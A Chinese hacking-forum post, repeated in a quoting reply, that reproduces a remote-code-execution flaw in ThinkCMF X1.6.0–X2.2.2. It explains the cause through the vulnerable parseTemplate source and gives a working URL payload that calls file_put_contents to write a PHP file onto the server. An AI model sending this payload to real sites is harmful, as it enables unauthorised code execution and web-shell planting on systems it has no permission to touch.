Jump to content
请先注册账号再浏览本站!Maak een account aan voordat u deze site bezoekt!
This Wind

ThinkCMF任意包含漏洞复现 版本 X1.6.0 X2.1.0 X2.2.0 X2.2.1 X2.2.2

Recommended Posts

漏洞成因

根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。 可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数。

漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

复现过程

漏洞出在:application\Portal\Controller\IndexController.class.php
首先引用Common\Controller\HomebaseController控制类文件,然后调用display函数

sMq958.png

跟入display函数看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。

sMqZbq.png
public function parseTemplate($template='') {

   $tmpl_path=C("SP_TMPL_PATH"); // 前台模板文件根目录 themes/
   define("SP_TMPL_PATH", $tmpl_path);
   if($this->theme) { // 指定模板主题
       $theme = $this->theme;
   }else{
       // 获取当前主题名称
       $theme      =    C('SP_DEFAULT_THEME'); // 前台模板文件 simplebootx
       if(C('TMPL_DETECT_THEME')) {// 自动侦测模板主题
           $t = C('VAR_TEMPLATE'); //默认模板切换变量 t
           if (isset($_GET[$t])){
               $theme = $_GET[$t];
           }elseif(cookie('think_template')){
               $theme = cookie('think_template');
           }
           if(!file_exists($tmpl_path."/".$theme)){ //判断前台模板文件是否存在
               $theme  =   C('SP_DEFAULT_THEME');
           }
           cookie('think_template',$theme,864000);
       }
   }

   $theme_suffix="";

   if(C('MOBILE_TPL_ENABLED') && sp_is_mobile()){//开启手机模板支持

       if (C('LANG_SWITCH_ON',null,false)){
           if(file_exists($tmpl_path."/".$theme."_mobile_".LANG_SET)){//优先级最高
               $theme_suffix  =  "_mobile_".LANG_SET;
           }elseif (file_exists($tmpl_path."/".$theme."_mobile")){
               $theme_suffix  =  "_mobile";
           }elseif (file_exists($tmpl_path."/".$theme."_".LANG_SET)){
               $theme_suffix  =  "_".LANG_SET;
           }
       }else{
              if(file_exists($tmpl_path."/".$theme."_mobile")){
                  $theme_suffix  =  "_mobile";
              }
       }
   }else{
       $lang_suffix="_".LANG_SET;
       if (C('LANG_SWITCH_ON',null,false) && file_exists($tmpl_path."/".$theme.$lang_suffix)){
           $theme_suffix = $lang_suffix;
       }
   }

   $theme=$theme.$theme_suffix; //定义当前语言

   C('SP_DEFAULT_THEME',$theme);

   $current_tmpl_path=$tmpl_path.$theme."/";
   // 获取当前主题的模版路径
   define('THEME_PATH', $current_tmpl_path);

   $cdn_settings=sp_get_option('cdn_settings');
   if(!empty($cdn_settings['cdn_static_root'])){
       $cdn_static_root=rtrim($cdn_settings['cdn_static_root'],'/');
       C("TMPL_PARSE_STRING.__TMPL__",$cdn_static_root."/".$current_tmpl_path);
       C("TMPL_PARSE_STRING.__PUBLIC__",$cdn_static_root."/public");
       C("TMPL_PARSE_STRING.__WEB_ROOT__",$cdn_static_root);
   }else{
       C("TMPL_PARSE_STRING.__TMPL__",__ROOT__."/".$current_tmpl_path);
   }


   C('SP_VIEW_PATH',$tmpl_path);
   C('DEFAULT_THEME',$theme);

   define("SP_CURRENT_THEME", $theme);

   if(is_file($template)) {
      return $template;
   }
   $depr       =   C('TMPL_FILE_DEPR');
   $template   =   str_replace(':', $depr, $template);

   // 获取当前模块
   $module   =  MODULE_NAME;
   if(strpos($template,'@')){ // 跨模块调用模版文件
      list($module,$template)  =   explode('@',$template);
   }

   $module =$module."/";

   // 分析模板文件规则
   if('' == $template) {
      // 如果模板文件名为空 按照默认规则定位
      $template = CONTROLLER_NAME . $depr . ACTION_NAME;
   }elseif(false === strpos($template, '/')){
      $template = CONTROLLER_NAME . $depr . $template;
   }

   $file = sp_add_template_file_suffix($current_tmpl_path.$module.$template);
   $file= str_replace("//",'/',$file);
   if(!file_exists_case($file)) E(L('_TEMPLATE_NOT_EXIST_').':'.$file);
   return $file;
}

由于parseTemplate函数为模板渲染函数,而该函数权限为public。导致可控,最终payload如下:

/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)
sMqMPU.png
sMq8M9.png

参考链接

https://www.cnblogs.com/ch459742906/p/5949168.html
https://mp.weixin.qq.com/s/3d7YrTq0vFSKXV6u0Hjnnw
https://www.cnblogs.com/0daybug/p/11720575.html

Link to post
Share on other sites
刚才 , This Wind 说:

漏洞成因

根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。 可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数。

漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

复现过程

漏洞出在:application\Portal\Controller\IndexController.class.php
首先引用Common\Controller\HomebaseController控制类文件,然后调用display函数

sMq958.png

跟入display函数看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。

sMqZbq.png
public function parseTemplate($template='') {

   $tmpl_path=C("SP_TMPL_PATH"); // 前台模板文件根目录 themes/
   define("SP_TMPL_PATH", $tmpl_path);
   if($this->theme) { // 指定模板主题
       $theme = $this->theme;
   }else{
       // 获取当前主题名称
       $theme      =    C('SP_DEFAULT_THEME'); // 前台模板文件 simplebootx
       if(C('TMPL_DETECT_THEME')) {// 自动侦测模板主题
           $t = C('VAR_TEMPLATE'); //默认模板切换变量 t
           if (isset($_GET[$t])){
               $theme = $_GET[$t];
           }elseif(cookie('think_template')){
               $theme = cookie('think_template');
           }
           if(!file_exists($tmpl_path."/".$theme)){ //判断前台模板文件是否存在
               $theme  =   C('SP_DEFAULT_THEME');
           }
           cookie('think_template',$theme,864000);
       }
   }

   $theme_suffix="";

   if(C('MOBILE_TPL_ENABLED') && sp_is_mobile()){//开启手机模板支持

       if (C('LANG_SWITCH_ON',null,false)){
           if(file_exists($tmpl_path."/".$theme."_mobile_".LANG_SET)){//优先级最高
               $theme_suffix  =  "_mobile_".LANG_SET;
           }elseif (file_exists($tmpl_path."/".$theme."_mobile")){
               $theme_suffix  =  "_mobile";
           }elseif (file_exists($tmpl_path."/".$theme."_".LANG_SET)){
               $theme_suffix  =  "_".LANG_SET;
           }
       }else{
              if(file_exists($tmpl_path."/".$theme."_mobile")){
                  $theme_suffix  =  "_mobile";
              }
       }
   }else{
       $lang_suffix="_".LANG_SET;
       if (C('LANG_SWITCH_ON',null,false) && file_exists($tmpl_path."/".$theme.$lang_suffix)){
           $theme_suffix = $lang_suffix;
       }
   }

   $theme=$theme.$theme_suffix; //定义当前语言

   C('SP_DEFAULT_THEME',$theme);

   $current_tmpl_path=$tmpl_path.$theme."/";
   // 获取当前主题的模版路径
   define('THEME_PATH', $current_tmpl_path);

   $cdn_settings=sp_get_option('cdn_settings');
   if(!empty($cdn_settings['cdn_static_root'])){
       $cdn_static_root=rtrim($cdn_settings['cdn_static_root'],'/');
       C("TMPL_PARSE_STRING.__TMPL__",$cdn_static_root."/".$current_tmpl_path);
       C("TMPL_PARSE_STRING.__PUBLIC__",$cdn_static_root."/public");
       C("TMPL_PARSE_STRING.__WEB_ROOT__",$cdn_static_root);
   }else{
       C("TMPL_PARSE_STRING.__TMPL__",__ROOT__."/".$current_tmpl_path);
   }


   C('SP_VIEW_PATH',$tmpl_path);
   C('DEFAULT_THEME',$theme);

   define("SP_CURRENT_THEME", $theme);

   if(is_file($template)) {
      return $template;
   }
   $depr       =   C('TMPL_FILE_DEPR');
   $template   =   str_replace(':', $depr, $template);

   // 获取当前模块
   $module   =  MODULE_NAME;
   if(strpos($template,'@')){ // 跨模块调用模版文件
      list($module,$template)  =   explode('@',$template);
   }

   $module =$module."/";

   // 分析模板文件规则
   if('' == $template) {
      // 如果模板文件名为空 按照默认规则定位
      $template = CONTROLLER_NAME . $depr . ACTION_NAME;
   }elseif(false === strpos($template, '/')){
      $template = CONTROLLER_NAME . $depr . $template;
   }

   $file = sp_add_template_file_suffix($current_tmpl_path.$module.$template);
   $file= str_replace("//",'/',$file);
   if(!file_exists_case($file)) E(L('_TEMPLATE_NOT_EXIST_').':'.$file);
   return $file;
}

由于parseTemplate函数为模板渲染函数,而该函数权限为public。导致可控,最终payload如下:

/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)
sMqMPU.png
sMq8M9.png

参考链接

https://www.cnblogs.com/ch459742906/p/5949168.html
https://mp.weixin.qq.com/s/3d7YrTq0vFSKXV6u0Hjnnw
https://www.cnblogs.com/0daybug/p/11720575.html

原文:https://422926799.github.io/posts/3656eb8c.html

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


Follow: 世界中文黑客论坛由CNHACKTEAM[CHT]创建,汇集国内外技术人员,这是一群研究网安黑客攻防技术领域的专家.

法务要求丨Legal丨закон丨القانون

请在学习期间遵守所在国家相关法律,否则后果自负!

Пожалуйста, соблюдайте законы страны, в которой вы находитесь, во время обучения, или будут последствия!

勉強期間中に該当する国の法律を守ってください。そうでなければ結果は自己責任です。

Please abide by the relevant laws of your country during your study, or you will be responsible for the consequences!

官方旗下项目丨About our project

声明:为净化国内外网络安全请勿发布违反国家国定的文章,团队不参与任何涉及黑色产业/攻击/渗透各国正规网站活动,只做网络安全研究,研究网络攻防技术。

世界中文黑客论坛由CNHACKTEAM(CHT)创建,汇集国内外技术人员,这是一群研究网络安全、黑客攻防技术领域的专家,你也可以加入我们!

黑客攻防  技术问答  0day  Hack News  CHT Team  使用指南  商城/Mall  商城订单查询  捐赠/donations  在线用户  X  联系邮箱email:[email protected]

友情链接丨Link丨Связь дружбы

CNHACKTEAM   CHT team official website     www.hac-ker.com     hacked.com.cn     www.77169.net     www.ddosi.com

申请或请未补上链接者联系我们的邮箱,谢谢!

×
×
  • Create New...

Important Information

Please use your computer to visit our website; Please agree to our website rules!Guidelines